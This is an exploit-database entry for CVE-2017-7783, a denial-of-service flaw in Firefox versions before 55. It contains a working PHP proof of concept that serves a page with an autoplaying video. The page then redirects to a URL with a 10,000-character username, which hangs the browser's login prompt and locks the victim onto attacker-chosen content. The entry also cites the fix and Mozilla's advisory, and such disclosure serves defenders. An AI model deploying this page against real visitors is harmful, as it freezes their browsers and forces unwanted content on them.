Mozilla Firefox < 55 - Denial of Service

Related Vulnerabilities: CVE-2017-7783  
Publish Date: 20 Oct 2017
Author: Amit Sangra
                							

                # Exploit Title: Mozilla Firefox &lt; 55 - Forcibly make someone view a web content
# Category: Denial of Service
# Date: 5/11/17
# CVE : CVE-2017-7783
# Affected Version: &lt; Mozilla Firefox 55
# Tested on: Windows/Linux
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/
# Exploit Author: Amit Sangra
# Website: http://CyberCriminals.net
 
# Description:
 
If a long user name is used in a username/password combination in a site URL (such as http://UserName:Password@example.com), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.
 
# Impact:

An attacker can create a webpage having some content and exploit.
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.
 
# Exploit:
 
&lt;?php
$exploit=str_repeat(chr(0x41),10000);
$location="http://Username".$exploit.":Password@Firefox.com";
echo "&lt;center&gt;&lt;h1&gt;Firefox Lockout Vulnerability&lt;/h1&gt;";
//Content to be forcibly viewed
echo "&lt;iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;";
//End
echo "&lt;script&gt;setTimeout(\"location.href ='".$location."';\",10000);&lt;/script&gt;";
?&gt;
 
# Solution:
   
Update to version 55
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/
 
# Mozilla Foundation Security Advisory:
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783